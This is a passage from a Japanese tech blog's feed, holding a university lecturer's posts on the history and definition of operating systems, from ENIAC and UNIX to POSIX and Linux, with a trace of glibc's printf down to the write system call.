<p>80年代に起こったコンピュータ利用の一般化とアプリケーションソフトウェア産業の隆盛に伴い、様々なハードウェアを持ったコンピュータに広くアプリケーションソフトウェアを流通させるために導入され、普及したという背景についても紹介しました。</p>

<p>今日はそのオペレーティングシステムの誕生の歴史を追いながら、現代の一般的なオペレーティングシステムの持つ基本機能について紹介します。</p>

<h2>初期のコンピュータ</h2>

<p>まずはこの写真を見てください。</p>

<p><img class="center" src="http://upload.wikimedia.org/wikipedia/commons/thumb/4/4e/Eniac.jpg/785px-Eniac.jpg" title="ENIAC" alt="Photo of ENIAC from wikipedia.org"></p>

<p>これはENIACと呼ばれる初期のコンピュータです。</p>

<p>現在では半導体で実現されている論理回路部分に真空管が使われているため非常に巨大ですね。</p>

<p>この写真は、ENIACの「プログラミング風景」なのですが、この時代のコンピュータは論理回路間の配線（写真の中に見える蜘蛛の巣のようなもの）を差し替えることによってプログラムしていました。現在「プログラム作業」というとコンピュータの前でキーボードを叩くイメージですが、当時はなかなか重労働だったのです。</p>

<p>余談ですが、この写真、男性と女性が写っており、一見、男性のほうがプログラマで女性が補助しているようにも見えますが、実はプログラマは女性の方で、その指示を受けて動いているのが男性です。ENIACは6人の女性プログラマによってプログラムされていたという記録が残っています。初期のプログラミング言語で広く使われた「COBOL」を設計開発したのも女性です。この業界、案外女性が強いのです。</p>

<p>プログラミングが現代のようなキーボードを叩く形に変化したのは、数学者のフォン・ノイマンが考案した「ノイマン型コンピュータ」以降です。ノイマン型コンピュータでは、コンピュータをメモリとCPUの2部分から構成し、CPUに「メモリから順次データを読みだしてそれを命令として実行せよ」という初期命令を与えます。このようにすることで、従来は配線として物理的に実現されていたプログラムをメモリ上の情報として格納することができます。このアイディアによってキーボードで入力した情報としてコンピュータをプログラミングすることが可能になったのです。「プログラムをメモリに格納する」ことが特徴であることからノイマン型コンピュータはストアド・プロシジャー方式とも呼ばれます。</p>

<p>ノイマン型コンピュータは、プログラムの実行のたびにメモリへの読み出しを行うため、メモリの高速性がコンピュータの処理速度に大きく影響することから、一般にCPUに高速にアクセスできる半導体メモリを組合せた構成が採られます。また、半導体メモリは電源を切ると消えてしまう揮発性があり、大きな容量を実現することが難しいことから、それを補うためのHDDなどの補助記憶装置を組み合わせる構成が用いられるようになりました。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/operatingsystem/cpu-mem-hdd.png"></p>

<h2>オペレーティングシステムの誕生</h2>

<p>高性能なコンピュータを実現する上でCPUの処理能力が重要なのはもちろんですが、ノイマン型コンピュータではメモリの性能も大きなポイントになります。</p>

<p>メモリにはプログラムと同時にそのプログラムが処理したデータが格納されます。複雑で高機能なプログラムを実行したり、大量のデータを保存するためには大きなメモリが必要です。プログラムの実行のたびにメモリの読み出しが行われるため、メモリの高速性もコンピュータの処理速度に大きく影響します。しかしながら、メモリの高速性と大容量化は一般にトレードオフの関係があり、高速で大容量のメモリは実現することはできません。</p>

<p>上記の問題を解決するのが「仮想メモリ」というオペレーティングシステムの仕組みです。仮想メモリではHDDなどの補助記憶装置を仮想的に半導体メモリの一部として使うことで、メモリの見かけ上の大容量化を実現します。</p>

<p>補助記憶装置には様々な種類があります、現在、一般に用いられているHDDもそうですし、CD-ROMも補助記憶装置の一種です。昔は、ビデオテープのような巻き取り型の磁気記憶装置も使われていました。オペレーティングシステムには、これらの記憶装置のハードウェアの差を意識することなく使えるように「ディスク管理」の機能も実装されています。</p>

<p>初期のコンピュータは、大学などの研究機関で使われていましたが、非常に高価なものでした。現在は各家庭に複数のコンピュータがあるのが当たり前ですが、当時は1研究機関に1台あるかないかという状況でした。そのような状況ではコンピュータを如何に効率的に稼働させるかという「プロセス管理」が重要になります。また、コンピュータを同時に使うことができる「マルチタスク」の技術も開発されました。これらの機能は現代のオペレーティングシステムにも利用のカタチをかえて（当時に比べたらはるかに贅沢な利用法を想定して）実装されています。</p>

<p>上記のようなコンピュータを便利で効率的に使うための各機能を最初に実装したのは、IBMがSystem/360というコンピュータのために開発したOS/360というソフトウェアだったと言われています。このソフトウェアはその名の通り、Operating Systemという名前の元祖にもなっています。</p>

<h2>UNIX、POSIXとLinux</h2>

<p>OS/360はメインフレームと呼ばれる、企業の業務処理などを行うコンピュータのために開発されたソフトウェアであり、実行できるのもIBMのコンピュータに限られていました。</p>

<p>AT&amp;T（米国最大手の電話会社、日本のNTTのようなもの）の研究所では、C言語という、特定のCPUに依存した機械語を使わないでプログラムを記述することができるシステム開発言語が開発されると同時に、C言語で記述されたオペレーティングシステム「UNIX」が開発されます。大学などの研究機関ではこのUNIXオペレーティングシステムが普及すると同時に、様々なハードウェア上で実行できるように移植作業が行われました。</p>

<p>オリジナルのUNIXはAT&amp;T UNIXと呼ばれますが、UNIXから派生した亜種には、カリフォルニア大学バークレー校で開発されたBSD UNIXや、サン・マイクロシステムズが開発したSunOS（Solaris）、ヒューレットパッカードが開発したHP-UNIX、MacOSの元になったカーネギーメロン大学で開発されたMachなどがあります。</p>

<p>同じ祖先を参考にして作られたUNIXの亜種たちですが、同じような機能を実装しているにもかかわらずAPIの厳密な共通化は行われておらず、アプリケーションソフトウェアはそれぞれUNIX上で多少の改変を行わなければ実行することができませんでした。</p>

<p>これでは不便である、ということで、IEEE（米国電気工学会）が取りまとめ役となり、厳密なAPIの共通化が行われます。これがPOSIX（Portable Operating System Interface for UNIX）です。</p>

<p>POSIXの登場により、UNIX用に開発されたアプリケーションソフトウェアがほぼ改変なしで流通できるようになり、非常に便利になりました。それと同時に、POSIX規格の誕生の翌年、非常に重要なソフトウェアが思わぬ副産物として誕生します。</p>

<p>以下のネットニュース（掲示板）への投稿を見てください。</p>

<blockquote><p>From: torvalds@klaava.Helsinki.FI (Linus Benedict Torvalds)<br/>Newsgroups: comp.os.minix<br/>Subject: Gcc-1.40 and a posix-question<br/>Message-ID: <1991Jul3.100050.9886@klaava.Helsinki.FI><br/>Date: 3 Jul 91 10:00:50 GMT<br/>Hello netlanders,<br/>Due to a project I'm working on (in minix), I'm interested in the posix<br/>standard definition. Could somebody please point me to a (preferably)<br/>machine-readable format of the latest posix rules? Ftp-sites would be<br/>nice.</p></blockquote>


<p>この文書は1991年にヘルシンキ大学のLinus Torvaldsという学生がPOSIX規格文書の電子版の入手について質問した投稿です。</p>

<p>Linus Torvaldsは、この投稿の後、入手したPOSIXの規格文書を元にして、LinuxというPOSIX互換オペレーティングシステムを開発して、ネット上でフリー配布を始めます。</p>

<p>それまで開発されていたUNIXオペレーティングシステムの亜種は、どれもオリジナルのAT&amp;T UNIXのソースコードを参照して開発されていたため、フリーのものもあったものの、営利企業であるAT&amp;Tの商用ライセンスに依存する部分がありました。それに対してLinuxというオペレーティングシステムは、フリーで参照できるPOSIXの規格文書「のみ」を参照してゼロから開発された、完全にフリーなオペレーティングシステムです。</p>

<p>Linuxのライセンス上の特性と、そのメンテナンスと拡張作業をコミュニティを巻き込んで精力的に続けた（現在も続けている）Linus Torvaldsの人格からLinuxは特にサーバ向けOSとして爆発的に普及します。</p>

<h2>コンシューマ向けオペレーティングシステム</h2>

<p>大学などの研究機関においてはPOSIX互換のオペレーティングシステムが早い段階から利用されましたが、POSIX規格はコンシューマ市場（専門家でない一般のコンピュータ利用者市場）ではオーバスペックでした。POSIXのフル規格を実装したオペレーティングシステムは、まだ高価だった高機能なコンピュータでしか利用することができません。コンシューマ市場向けには、ディスク管理機能と簡単なプロセス管理機能のみを持った縮小版のオペレーティングシステムが開発されました。それらのオペレーティングシステムはDisk Operating System (略してDOS)とも呼ばれます。CP/MやMS−DOSはこれらディスク管理機能のみを持った縮小版のオペレーティングシステムです。MS-DOSは当時創業して間もないマイクロソフト社が開発したDOSです。IBMのコンシューマ向けコンピュータにOEM採用されたことをきっかけにマイクロソフト社はコンシューマ向けオペレーティング市場の巨大な存在となっていきます。</p>

<p>現在では、多くのコンシューマ向けオペレーティングシステムがPOSIXのフル規格をサポートしています。Linuxはもちろんのこと、MacOSとLinuxをベースに開発されたAndroidもPOSIX互換です。Windowsは厳密にはPOSIX互換ではありませんが、対応するすべての機能を持っています。iPhoneの中に入っているiOSも多くの互換関数を持ちます。</p>

<p>この授業（ブログ）では、オペレーティングシステムの基本としてPOSIX規格で定義されたAPIを概観するとともに、APIとハードウェアの間で働くオペレーティングシステムの機能を紹介していきます。</p>

<p>新幹線は間もなく目的の停車駅に着きそうです。この新幹線「全輪駆動」というすべての車輪にモータをつけて駆動輪とした初めての列車です。全輪駆動では、特定の車両が客車を引っ張る形だったそれまでの列車とは異なる複雑な制御が必要となります。新幹線を制御システムとしてみると、各車両にエンジンをつけたバスが至近距離で縦列走行しているようなものです、お客さんが乗っている車両や乗っていない車両もあるのですから衝突しないように息を合わせるのは大変な作業です。それに加えて、現在は省エネルギーの回生ブレーキなども導入されているといいます。これらのシステムを運用するソフトウェアの開発は大変な作業です。列車と同様の制御複雑化・高機能化は自動車でも起こっており、オペレーティングシステムが広く導入され始めています。このような制御システムに特化した要件（時間に厳密、安全機能は死守しつつ高機能化にも対応できるように）を満たすように設計されたオペレーティングシステムは特にリアルタイムオペレーティングシステムと呼ばれます。このブログのどこかの回でも紹介したいと思っています。</p>

<h2>おまけ（Linuxのローレベルシステムコール）</h2>

<p>授業では「オペレーティングシステムはAPIとハードウェアの間にあるソフトウェアのことである」と説明しているものの、アプリケーションとオペレーティングシステムを区分するAPIの境界部分はよくよく考えると実は結構あやふやです。</p>

<p>POSIX規格はC言語の関数名とその引数のコレクションとして定義されていますが、バイナリ形式に変換されたアプリケーションプログラムは、どのようにしてオペレーティングシステムの機能を呼び出しているのでしょうか？</p>

<p>ここではPOSIXで標準化された関数の一つである「printf」の実装を追いかけて、流れを見てみたいと思います。</p>

<p>このprintf、その実装をLinuxのソースコードに探しても見つけることができません。実は、実装は「libc」というライブラリの中で行われています。</p>

<p><a href="http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/printf.c">http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/printf.c</a></p>

<p>printf関数は単純にvfprintf関数を呼び出すのみで、その実体はvfprintfに書かれています。</p>

<p><a href="http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/vfprintf.c">http://sourceware.org/git/?p=glibc.git;a=blob;f=stdio-common/vfprintf.c</a></p>

<p>見てわかるように、printfのほとんどの機能はlibcに実装されています。</p>

<p>printf関数は各種文字列加工を行った後、最終的に「outstring」マクロを呼び出します。
outstringマクロは、「PUT」マクロを呼び出し、PUTマクロは「_IO_sputn」マクロの別名です。</p>

<p>しばらくマクロを追いかけます。「<em>IO_sputn」は以下のヘッダで定義された</em>IO_XSPUTNのマクロで、その実体は_xsputn関数です。</p>

<p><a href="http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h">http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h</a></p>

<p>どんどん追いかけていく（途中は省略）と最終的には</p>

<p><a href="http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/fileops.c">http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/fileops.c</a></p>

<p>に記述されているマクロの中で「write」関数が呼ばれます。write関数は「システムコール」と呼ばれる基底関数で機械語で直接記述されています。その内容は、「レジスタeaxにwriteシステムコールのID番号である4を代入して、ハードウェア割り込みの0x80番をコールする」というものです。ここからlibcの世界を抜けてLinuxの世界に入ります。</p>

<p>Linux側では、システムコールを受けてID番号に対応する関数が呼ばれます。その対応表が以下のファイルに定義されています。</p>

<p><a href="https://github.com/torvalds/linux/blob/master/arch/x86/syscalls/syscall_32.tbl">https://github.com/torvalds/linux/blob/master/arch/x86/syscalls/syscall_32.tbl</a></p>

<p>最終的に呼び出されるのが、Linuxカーネル内で定義されるこの関数です。</p>

<p><a href="https://github.com/torvalds/linux/blob/master/fs/read_write.c">https://github.com/torvalds/linux/blob/master/fs/read_write.c</a></p>

<p>以上追いかけていったように、POSIX APIの境界からは直接システムコールが呼び出されるわけではなく、libcが機能の大きな部分を担当しています。libcはライブラリであり、メモリ空間上のユーザスペースで動作します（カーネルスペースに実行が移るのはシステムコール以降です）。この部分をオペレーティングシステムの一部として考えるべきかどうかはよくよく考えると悩ましい問題ですが、授業の中では分かりやすさ優先でオペレーティングシステムの一部として教えてしまっています。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[オペレーティングシステムとは何か？を定義する]]></title>
    <link href="https://tech.mid-japan.com/blog/2013/04/30/introduction-to-operating-system/"/>
    <updated>2013-04-30T17:37:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2013/04/30/introduction-to-operating-system</id>
    <content type="html"><![CDATA[<p>ブログをはじめるぞ、と意気込んではみたものの、書くネタに迷ってしまったので、最初の数回は現在担当している大学での非常勤講師の内容について書きたいと思います。</p>

<p>授業名は「オペレーティングシステム」で、今回は最初の授業の内容です。</p>

<!-- more -->


<h2>導入</h2>

<p>この授業ではオペーレーティングシステムについて学んでいくわけですが、そもそも「オペレーティングシステム」とは何でしょうか？</p>

<ul>
<li>パソコンを買うとついてくるもの</li>
<li>スペック表を見ると書いてあるもの</li>
<li>パソコンの電源を入れるとタイトル画面が出てくるもの</li>
<li>携帯電話向けOSなどで活発な競争を繰り広げているもの</li>
</ul>


<p>などの説明はできるかもしれませんが、「オペレーティングシステムとは何か？」と改めて問いかけられると、なかなか明確な答えを返すことは難しいのではないかと思います。</p>

<p>モヤモヤとしたオペレーティングシステムのイメージを固めていくために、まずは既存のオペレーティングシステムの名前を次々と挙げてみましょう。</p>

<ul>
<li>Windowsシリーズ(8, 7, XP, Vista, 95, NT, 2000, 3.1)</li>
<li>MacOS</li>
<li>Linux(debian, redhat, ubuntu)</li>
<li>iOS</li>
<li>Android</li>
<li>BSD</li>
<li>SunOS(Solaris)</li>
<li>UNIX(AT&amp;T)</li>
<li>Tron(若い学生さんでも毎年挙げてくれる人がいてうれしい。「超漢字」を挙げる人も)</li>
</ul>


<p>皆さんがよく知っているWindowsやMacOSは「コンシューマ向けOS」と呼ばれ、一般的なユーザが使うパソコンに適するように作られているオペレーティングシステムです。</p>

<p>iOSやAndroidなどの「携帯電話向けOS」は、近年進歩著しく商業的にも非常に活況を呈していますね。</p>

<p>Linux, BSD, SunOS, UNIXは「サーバ向けOS」です。みなさんはこれまでこれらの名前はあまり聞いたことがなかったかもしれませんが、gmailなどを使ったことがある人がいれば、ネットワーク越しにこれらオペレーティングシステムを利用している事になります。</p>

<h2>ソフトウェアとしてのオペレーティングシステム</h2>

<p>更に議論を進めましょう、コンピュータには大きく分けて「ソフトウェア」と「ハードウェア」の部分があります。オペレーティングシステムは「ソフトウェア」の部分に属しますが、みなさんのイメージする「ソフトウェア」はどのようなものがあるでしょうか？</p>

<ul>
<li>ワープロソフト</li>
<li>表計算ソフト</li>
<li>ブラウザ</li>
<li>メディアプレーヤー</li>
</ul>


<p>これらもソフトウェアですが、これらは特に「アプリケーションソフトウェア」と呼ばれます。カタカナで書くとわかりにくいですが、無理やり和訳すると「応用ソフトウェア」です。</p>

<p>「応用」の対をなす言葉は「基本」です。オペレーティングシステムはこの基本部分に分類されるソフトウェアです。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/operatingsystem/app-api-os-hw.png"></p>

<h2>オペレーティングシステム成立の背景</h2>

<p>コンピュータは「ソフトウェア」と「ハードウェア」の部分があり、「ソフトウェア」の部分は「アプリケーション（応用）ソフトウェア」と「オペレーティングシステム（基本ソフトウェア）」に分かれます。しかし、なぜこのような構成が採られるようになったのでしょうか？オペレーティングシステム成立の歴史から探っていきましょう。</p>

<h3>オペレーティングシステム以前の時代</h3>

<p>ソフトウェアは最初から応用と基本の2部分に分かれていたわけではありません。オペレーティングシステムが用いられるようになった以前の時代では、ソフトウェアは一体であり分かれてはいませんでした。</p>

<p>下は、オペレーティングシステム登場以前のコンピュータの構成を示した図です。A社というコンピュータメーカはAというハードウェアに適したAというソフトウェアを。B社というコンピュータメーカはBというハードウェアに適したBというソフトウェアをそれぞれ開発して出荷していました。</p>

<p><img class="center" src="https://tech.mid-japan.com/images/operatingsystem/time-before-os.png"></p>

<p>この時代は「Aというハードウェアに対してはAというソフトウェア」「Bというハードウェアに対してはBというソフトウェア」という関係は１対１に固定されていました。ソフトウェアAは、Aというハードウェアに依存して作られているためB社のコンピュータ上では動作しません。というのも、初期の時代のコンピュータの行なっていた仕事はミサイル発射のための弾道計算などであり、このような売り方でも問題は少なかったのです。</p>

<p>オペレーティングシステムが普及した背景には、1980年代に起こった大きな変化があります。下図のソフトウェアを見てください。</p>

<p><img class="center" src="https://upload.wikimedia.org/wikipedia/en/e/ec/Lotus-123-3.0-dos.png" title="Lotus 1-2-3" alt="Photo of Lotus 1-2-3 from wikipedia.org"></p>

<p>これはLotus 1-2-3というソフトウェアで1983年に開発されました。このソフトウェアは一般にも手に入れることができるコンピュータ（当時は高価でしたが）で動作させることができ、複雑なプログラミング作業を必要としないで望んだ計算を実行させることができる「表計算」というアイディアを実装することで、これまでミサイルの弾道計算などに利用されていたコンピュータの計算能力を小さな会社の経理などの飛躍的に広い領域で使うことができるようになりました。</p>

<p>Lotus 1-2-3はソフトウェア製品としては画期的なヒット作となると同時に、コンピュータも便利な道具として広く使われ始めます。Lotus 1-2-3の後を追えとばかりに、ワープロソフトや画像編集ソフトなど現在使われている様々なソフトウェアの原型の多くがこの時期に誕生し、ソフトウェア市場は質・量共に巨大化していきます。</p>

<p>しかしここで問題が起こります。ソフトウェア製品を広く流通させようと思っても、A社のコンピュータのために作ったソフトウェアはB社のコンピュータでは動作しないのです。</p>

<h3>オペレーティングシステムのアイディア</h3>

<p>1980年代には、現在のソフトウェアの原型となる多種多様なソフトウェアが開発されたのですが、ソフトウェア開発者たちはある事実に気づきます。違うソフトウェアであっても共通部分は案外多いのです。ここで、ソフトウェアで共通する部分をまとめて使いまわす、というアイディアが生まれました。更に開発者たちは、異なるハードウェアのコンピュータであっても、ソフトウェアの視点に立って見ると行わせたい処理の多くは共通である、ということにも気づきます。</p>

<p>ここで以下のようなアイディアが生まれました。</p>

<ul>
<li>ソフトウェアを共通の処理を実行する部分（基本ソフトウェア）と個々のソフトウェア独自の処理を実行する部分（応用ソフトウェア）に分離する。</li>
<li>ハードウェアに依存する処理は基本ソフトウェア部分にプログラミングしておく。</li>
<li>応用ソフトウェアから基本ソフトウェアを呼び出すインターフェース（API）は、ハードウェアにかかわらず共通化しておく。</li>
</ul>


<p><img class="center" src="https://tech.mid-japan.com/images/operatingsystem/time-after-os.png"></p>

<p>このような構成を採ることで、多様なハードウェアで動作するソフトウェアを容易に開発して流通させることができるようになります。これがオペレーティングシステムの基本的なアイディアです。</p>

<h2>改めての問い：オペレーティングシステムとは何か？</h2>

<p>これで「オペレーティングシステムとは何か？」という問いに答えることができるようになったと思います。</p>

<p>オペレーティングシステムとは、</p>

<ul>
<li>コンピュータ上で動作するソフトウェア</li>
</ul>


<p>であり、</p>

<ul>
<li>アプリケーションソフトウェアとハードウェアの間に存在し</li>
<li>アプリケーションソフトウェアとは共通化されているAPIによって区分される</li>
</ul>


<p>部分です。</p>

<p>オペレーティングシステムとは何か？という問いに答えることの難しさは、オペレーティングシステムというソフトウェアは、実は多様（多様なハードウェアに依存して存在するのですから）であり、境界でしか定義できないという点にあります。でも今日の議論でその輪郭をはっきりとさせることができましたね。</p>

<h3>オペレーティングシステムをなぜ学ぶのか</h3>

<p>「オペレーティングシステム」の日本語名は「基本ソフトウェア」という話をしましたが、「オペレーティング」とは本来は「運用」という意味です。</p>

<p>今日の授業ではオペレーティングシステムとは、APIとハードウェアの間に存在するソフトウェア部分という説明をしましたが、実際には各コンピュータメーカーは、APIという切り口は共通ルールとして守りつつも、コンピュータの性能を引き出すためにオペレーティングシステムをハードウェアと密接に結合させて効率良く「運用する」仕組みをオペレーティングシステムに持たせています。</p>

<p>みなさんは、コンピュータを作る側になる人もいると思いますが、少なくとも仕事をする上で使わない人はいないでしょう。ハードウェアを効率良く運用するように作られているオペレーティングシステムですが、その内容を理解することでより効率よく利用できるようになります。オペレーティングシステムを学ぶことでコンピュータの性能を最大限に引き出して乗りこなせるF-1ドライバーになりましょう。</p>

<p>このブログでは授業では話せないマニアなトピックも取り扱っていく予定です。</p>
]]></content>
  </entry>
  
  <entry>
    <title type="html"><![CDATA[Test]]></title>
    <link href="https://tech.mid-japan.com/blog/2013/04/22/test/"/>
    <updated>2013-04-22T12:33:00+09:00</updated>
    <id>https://tech.mid-japan.com/blog/2013/04/22/test</id>
    <content type="html"><![CDATA[<p>Hello world!</p>
]]></content>
  </entry>
  
</feed>
